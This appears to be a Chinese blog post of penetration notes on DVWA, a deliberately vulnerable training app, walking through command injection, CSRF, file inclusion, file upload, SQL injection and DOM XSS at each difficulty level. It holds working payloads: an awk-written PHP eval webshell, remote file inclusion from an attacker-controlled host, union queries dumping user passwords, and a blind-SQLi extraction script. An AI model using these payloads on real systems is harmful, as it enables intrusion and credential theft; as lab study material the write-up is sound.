zoukankan      html  css  js  c++  java
  • DVWA渗透笔记

    Command Injection

    Low

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    
    ?>
    

    渗透思路

    这道题目在之前的CTF上也有出现过,可以使用;来堆叠指令,ls的指令的回显也会直接显示在页面上。后面想写入一句话木马,但是发现$_POST这个字段过滤了,也没法双写绕过,稍微查了一下Linux的命令,发现可以使用awk命令写入,payload如下

    127.0.0.1;awk 'BEGIN{printf "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c
    ",60,63,112,104,112,32,64,101,118,97,108,40,36,95,80,79,83,84,91,39,97,39,93,41,59,63,62}' >> test.php
    

    这个是全部用ASC写入的,有点长,要视具体情况而定,根据这道题也可以简化一下

    127.0.0.1;awk 'BEGIN{printf "<?php @eval(%c%c%c%c%c%c[%ca%c]);?>
    ",36,95,80,79,83,84,39,39}' >> test.php
    

    Medium

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
    
        // Set blacklist
        $substitutions = array(
            '&&' => '',
            ';'  => '',
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    
    ?>
    

    对&&和;进行了过滤

    渗透思路

    这个等级和Low差不多,源代码是将&&和;替换成空,我们只要用管道符|同样可以执行命令。payload与Low类似

    High

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = trim($_REQUEST[ 'ip' ]);
    
        // Set blacklist
        $substitutions = array(
            '&'  => '',
            ';'  => '',
            '| ' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    
    ?>
    

    渗透思路

    这个等级过滤了很多危险字符,但是有一个点就是过滤管道符|的时候后面多了个空格,不知道是写DVWA的时候疏忽还是故意就是这样的,所以管道符后面不加空格就可以直接绕过。

    Impossible

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $target = $_REQUEST[ 'ip' ];
        $target = stripslashes( $target );
    
        // Split the IP into 4 octects
        $octet = explode( ".", $target );
    
        // Check IF each octet is an integer
        if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
            // If all 4 octets are int's put the IP back together.
            $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
    
            // Determine OS and execute the ping command.
            if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                // Windows
                $cmd = shell_exec( 'ping  ' . $target );
            }
            else {
                // *nix
                $cmd = shell_exec( 'ping  -c 4 ' . $target );
            }
    
            // Feedback for the end user
            echo "<pre>{$cmd}</pre>";
        }
        else {
            // Ops. Let the user name theres a mistake
            echo '<pre>ERROR: You have entered an invalid IP.</pre>';
        }
    }
    // Generate Anti-CSRF token
    generateSessionToken();
    ?>
    

    最高等级做了Anti-CSRP的检测,并且把ip地址split开来,然后进行重新组合,杜绝了命令注入的可能性。

    CSRF

    Low

    比较关键的部分代码如下:

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    ?>
    

    渗透思路

    可以看到使用GET传参来直接提交,然后这里其实后来也没有任何检测,我们可以直接构造一个url让受害者改动自己的密码:

    http://127.0.0.1/vulnerabilities/csrf/?username=admin&password=123&Login=Login&Change=Change
    

    这样看起来会比较明显,用url编码一下就看不出来了,所以说平时不要随便点链接就是这样子

    Medium

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // Checks to see where the request came from
        if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
            // Get input
            $pass_new  = $_GET[ 'password_new' ];
            $pass_conf = $_GET[ 'password_conf' ];
    
            // Do the passwords match?
            if( $pass_new == $pass_conf ) {
                // They do!
                $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
                $pass_new = md5( $pass_new );
    
                // Update the database
                $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
                // Feedback for the user
                echo "<pre>Password Changed.</pre>";
            }
            else {
                // Issue with passwords matching
                echo "<pre>Passwords did not match.</pre>";
            }
        }
        else {
            // Didn't come from a trusted source
            echo "<pre>That request didn't look correct.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    ?>
    

    可以发现Medium对Http Referer也进行了检查,希望通过检查是否包含了SERVER_NAME来抵御CSRF攻击

    渗透思路

    看似很好,但是仍然存在漏洞,因为只要我的文件名就是他的主机名,那这样即使我的Referer的主机名和受攻击网站的主机名不同,但是我的Referer仍然包含受攻击网站的主机名,也就逃过了检测。

    High

    来看看High级别是怎么做的

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    ?>
    

    High级别用到了Anti-CSRF,用户每次访问修改密码界面时,服务器会返回一个user_token,提交修改的密码时,需要提交这个user_token,两者一致才能生效。

    渗透思路

    一开始我尝试着在自己的电脑上弄一个html主页,然后通过iframe标签获取到token,当用户访问这个页面时获取token然后js直接提交,看上去顺理成章,但是后面我发现根本获取不到token。后来了解到这是因为牵扯到了浏览器的跨域问题,攻击者的主页是无法直接获取另一域名网站底下的内容的,除非该网站主动给攻击者发送信息。所以要获取token,要把我们的我们的攻击代码放到被攻击网站上面,才有可能生效。这部分可以结合XSS结合攻击,做到XSS再来结合讲一下。

    File Inclusion

    allow_url_inlcude On

    考的文件包含,做之前要先开启allow_url_include这个函数。观察他的url格式:http://127.0.0.1/vulnerabilities/fi/?page=xxx,他回去读取xxx这个文件,可以是该网站下相对路径的url,也可以是远程url,也就是我们自己搭建的vps。在自己的vps上防止一个文件,文件格式可以是txt也可以是html,图片也行,总之就是要包含一句话木马的代码,这样被include的时候就会被当作php代码执行。payload如下,直接蚁剑连之:

    http://127.0.0.1/vulnerabilities/fi/?page=http://172.17.0.1:8080/
    

    但是看到篇文章说allow_url_include关闭也是可以的,这里来实践一下

    allow_url_include Off

    allow_url_include关闭时,php不会加载远程http或者ftp资源,但是没有禁止UNC路径加载,所以我们只要用UNC路径来加载我们的一句话就好了。由于Linux没有UNC路径,所以这种方法只能在Windows下使用,使用UNC路径有两种方法:

    用docker创建一个webdav服务器:

    docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
    

    然后把php文件放到/root/webdav/data目录下面,使用payload,蚁剑连之:

    http://127.0.0.1/page.php?file=//127.0.0.1//webdav/index.php
    

    Low

    渗透思路

    没有任何过滤,直接最普通的文件包含

    Medium

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Input validation
    $file = str_replace( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", ".."" ), "", $file );
    
    ?>
    

    渗透思路

    可以看到对http协议和../进行了过滤,但是只过滤了一次,我们直接双写就可以绕过了。

    High

    File Inclusion Source
    vulnerabilities/fi/source/high.php
    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Input validation
    if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
        // This isn't the page we want!
        echo "ERROR: File not found!";
        exit;
    }
    
    ?>
    

    渗透思路

    这里使用fnmatch用来匹配输入文件名,只能是file*或者include.php,但是file不禁的话我们就能够利用file://这个协议去配合文件上传来实现getshell,这个就放到下面文件包含讲。

    File Upload

    Low

    这个就不说了,没有做任何防护,直接就能够上传一句话木马

    Medium

    来看看源代码

    <?php
    	if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    
        // Is it an image?
        if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
            ( $uploaded_size < 100000 ) ) {
    
            // Can we move the file to the upload folder?
            if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
                // No
                echo '<pre>Your image was not uploaded.</pre>';
            }
            else {
                // Yes!
                echo "<pre>{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            // Invalid file
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }
    ?>
    

    可以看到对文件格式要求为白名单,要求格式为png或者jpg,并且文件大小必须大于等于100000。所以思路也很清晰了,直接拿一张能上传的图片,在图片末尾插入一句话木马,然后上传抓包,将文件名的png或者jpg改为php,只要保持http报头中的Content-Type不变,就能不被上面的代码检测出来。然后用蚁剑连接就可以了。

    Hard

    贴一下代码,展示一下具体增加了的部分:

    <?php
    	.
    	.
    	.
    	// File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    	$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 
    	.
    	.
    	.
    	// Is it an image?
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { 
    		.
    		.
    		.
    	}
    ?>
    

    从源代码可以看到由原本的对Content-Type字段进行检测变为对文件后缀的检测,并且比较前都转为了小写,避免了大小写绕过的可能。在PHP版本小于5.3.4的情况下是可以使用.php%00.jpg后缀来截断文件名实现php文件的上传,但是现在php版本不符合要求,只能配合文件包含漏洞进行getshell。先上传一个文件吗,得到路径为/var/www/html/hackable/uploads/test.php.jpg,然后直接蚁剑连接,payload:

    http://127.0.0.1/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/test.php.jpg
    

    Impossible

    这个等级的防护就很严格了

    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    
        // Where are we going to be writing to?
        $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
        //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
        $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
        $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
        $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
            ( $uploaded_size < 100000 ) &&
            ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
            getimagesize( $uploaded_tmp ) ) {
    
            // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
            if( $uploaded_type == 'image/jpeg' ) {
                $img = imagecreatefromjpeg( $uploaded_tmp );
                imagejpeg( $img, $temp_file, 100);
            }
            else {
                $img = imagecreatefrompng( $uploaded_tmp );
                imagepng( $img, $temp_file, 9);
            }
            imagedestroy( $img );
    
            // Can we move the file to the web root from the temp folder?
            if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
                // Yes!
                echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
            }
            else {
                // No
                echo '<pre>Your image was not uploaded.</pre>';
            }
    
            // Delete any temp files
            if( file_exists( $temp_file ) )
                unlink( $temp_file );
        }
        else {
            // Invalid file
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>
    

    除了对拓展名进行检测外,还对文件名进行了重写,以及对文件图像的内容进行过滤,来杜绝漏洞的产生。

    SQL Injection

    Low

    源码:

    <?php
    
    if( isset( $_REQUEST[ 'Submit' ] ) ) {
        // Get input
        $id = $_REQUEST[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Get values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    
        mysqli_close($GLOBALS["___mysqli_ston"]);
    }
    
    ?>
    

    最简单的注入,没有进行任何的过滤就直接进行查询,可以用sqlmap直接注入,手注太简单就不说了

    Medium

    源码如下:

    <?php
    
    if( isset( $_POST[ 'Submit' ] ) ) {
        // Get input
        $id = $_POST[ 'id' ];
    
        $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Display values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    
    }
    
    // This is used later on in the index.php page
    // Setting it here so we can close the database connection in here like in the rest of the source scripts
    $query  = "SELECT COUNT(*) FROM users;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    $number_of_rows = mysqli_fetch_row( $result )[0];
    
    mysqli_close($GLOBALS["___mysqli_ston"]);
    ?>
    

    简单测试就可以知道这里存在数字型注入,源代码中使用了mysqli_real_escape_string来过滤危险字符,然而数字型注入根本不需要用到单引号,所以基本上是形同虚设。简单的sqlmap就能破,直接看看High吧

    High

    源码:

    <?php
    
    if( isset( $_SESSION [ 'id' ] ) ) {
        // Get input
        $id = $_SESSION[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Get values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
    }
    ?> 
    

    这个等级的代码使用了session来存储查询的id,sqlmap是不能直接用了,我们可以直接手注,虽然用了limit来限制查询个数,但是我们可以直接用group_concat或者直接注释掉他。经判断是字符型注入,显示位数2两位,可以使用联合注入查询

    查询所有数据库:

    1' union select schema_name,2 from information_schema.schemata#
    

    查询dvwa所有表:

    1' union select table_name,2 from information_schema.tables#
    

    查询users表所有列:

    1' union select column_name,2 from information_schema.columns#
    

    查询name,password字段:

    1' union select user,password from users#
    

    Impossible

    源码:

    <?php
    
    if( isset( $_GET[ 'Submit' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $id = $_GET[ 'id' ];
    
        // Was a number entered?
        if(is_numeric( $id )) {
            // Check the database
            $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
            $data->bindParam( ':id', $id, PDO::PARAM_INT );
            $data->execute();
            $row = $data->fetch();
    
            // Make sure only 1 result is returned
            if( $data->rowCount() == 1 ) {
                // Get values
                $first = $row[ 'first_name' ];
                $last  = $row[ 'last_name' ];
    
                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    

    这个等级就比较狗了,使用了PDO技术来防止注入,查询完还判断了结果是不是只有一条,是才反馈到前端。

    SQL Injection (Blind)

    Low

    源码:

    <?php
    if( isset( $_GET[ 'Submit' ] ) ) {
        // Get input
        $id = $_GET[ 'id' ];
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
    
        // Get results
        $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
        if( $num > 0 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
    
            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?>
    

    只能查询id是否存在于数据库中,存在返回User ID exists in the database.,不存在的话返回User ID is MISSING from the database.,自己写了一个布尔盲注脚本,比较粗糙,实际上可以用二分法加快速度

    import requests
    from requests.cookies import RequestsCookieJar
    headers={
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
        
    }
    
    cookies={
        "PHPSESSID":"p1u3ud3jio221k3gd3fm5k0cs4",
        "security":"low"
    }
    
    schema_length_url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select length(group_concat(schema_name)) from information_schema.schemata)={}%23&Submit=Submit"
    #length 23
    schema_url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select ascii(substr(group_concat(schema_name),{},1)) from information_schema.schemata)={}%23&Submit=Submit"
    #schema: dvwa,information_schema
    talbe_length_url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select length(group_concat(table_name)) from information_schema.tables where table_schema='dvwa')={}%23&Submit=Submit"
    #length 15
    table_url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select ascii(substr(group_concat(table_name),{},1)) from information_schema.tables where table_schema='dvwa')={}%23&Submit=Submit"
    #tables in dvwa:guestbook,users
    column_length_url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select length(group_concat(column_name)) from information_schema.columns where table_name='users')={}%23&Submit=Submit"
    #length 73
    column_url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select ascii(substr(group_concat(column_name),{},1)) from information_schema.columns where table_name='users')={}%23&Submit=Submit"
    #column in table users: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
    length_url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select length(group_concat(user)) from dvwa.users)={}%23&Submit=Submit"
    #length 31
    url="http://192.168.208.130/vulnerabilities/sqli_blind/?id=1' and (select ascii(substr(group_concat(user),{},1)) from dvwa.users)={}%23&Submit=Submit"
    
    ## 爆长度
    
    for i in range(100):
        if("exists".encode('utf-8') in re.content):
            print(i)
            break
    
    
    ## 爆内容
    
    for i in range(73):
        for j in range(200):
            re = requests.get(url.format(str(i+1),str(j)),headers=headers,cookies=cookies)
            if("exists".encode('utf-8') in re.content):
                print(chr(j),end="")
                break
    

    Medium

    源码:

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $id = $_POST[ 'id' ];
        $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
    
        // Get results
        $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
        if( $num > 0 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    
        //mysql_close();
    }
    
    ?>
    

    中级的其实跟SQL Injection的中级差不多,都是使用了'mysqli_real_escape_string'但是却是数字型注入,虽然说之前在查询列名的事后要用到table_name='',但是这里表名其实可以转换成十六进制来用,这样就用不到单引号了,这个也是看别人博客学到的,感觉很神奇,所以之前的payload拿来改改就能用了

    High

    源码:

    <?php
    
    if( isset( $_COOKIE[ 'id' ] ) ) {
        // Get input
        $id = $_COOKIE[ 'id' ];
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
    
        // Get results
        $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
        if( $num > 0 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // Might sleep a random amount
            if( rand( 0, 5 ) == 3 ) {
                sleep( rand( 2, 4 ) );
            }
    
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
    
            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?>
    

    High级别也没什么意思,就是换成cookie注入而已,上面脚本改一改同样能用

    Impossible

    源码:

    <?php
    
    if( isset( $_GET[ 'Submit' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $id = $_GET[ 'id' ];
    
        // Was a number entered?
        if(is_numeric( $id )) {
            // Check the database
            $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
            $data->bindParam( ':id', $id, PDO::PARAM_INT );
            $data->execute();
    
            // Get results
            if( $data->rowCount() == 1 ) {
                // Feedback for end user
                echo '<pre>User ID exists in the database.</pre>';
            }
            else {
                // User wasn't found, so the page wasn't!
                header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
    
                // Feedback for end user
                echo '<pre>User ID is MISSING from the database.</pre>';
            }
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>
    

    防御手法同SQL Injection

    DOM Based Cross Site Scripting (XSS)

    Low

    源码:

    <script>
    if (document.location.href.indexOf("default=") >= 0) {
    	var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    	document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
    	document.write("<option value='' disabled='disabled'>----</option>");
    }	    
    document.write("<option value='English'>English</option>");
    document.write("<option value='French'>French</option>");
    document.write("<option value='Spanish'>Spanish</option>");
    document.write("<option value='German'>German</option>");
    </script>
    

    DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。

    这里的js脚本不经检查就把default参数直接写入,很容易造成XSS,payload也比较简单,直接写自己想执行的js语句就好了

    Medium

    源码:

    <?php
    
    // Is there any input?
    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
        $default = $_GET['default'];
        
        # Do not allow script tags
        if (stripos ($default, "<script") !== false) {
            header ("location: ?default=English");
            exit;
        }
    }
    
    ?>
    

    中等级的在服务器端对default进行了检查,使得<script>标签不起作用,但是我们仍然可以使用其他标签进行绕过,这点在下面的反射性漏洞中有提及。

    High

    <?php
    
    // Is there any input?
    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    
        # White list the allowable languages
        switch ($_GET['default']) {
            case "French":
            case "English":
            case "German":
            case "Spanish":
                # ok
                break;
            default:
                header ("location: ?default=English");
                exit;
        }
    }
    
    ?>
    

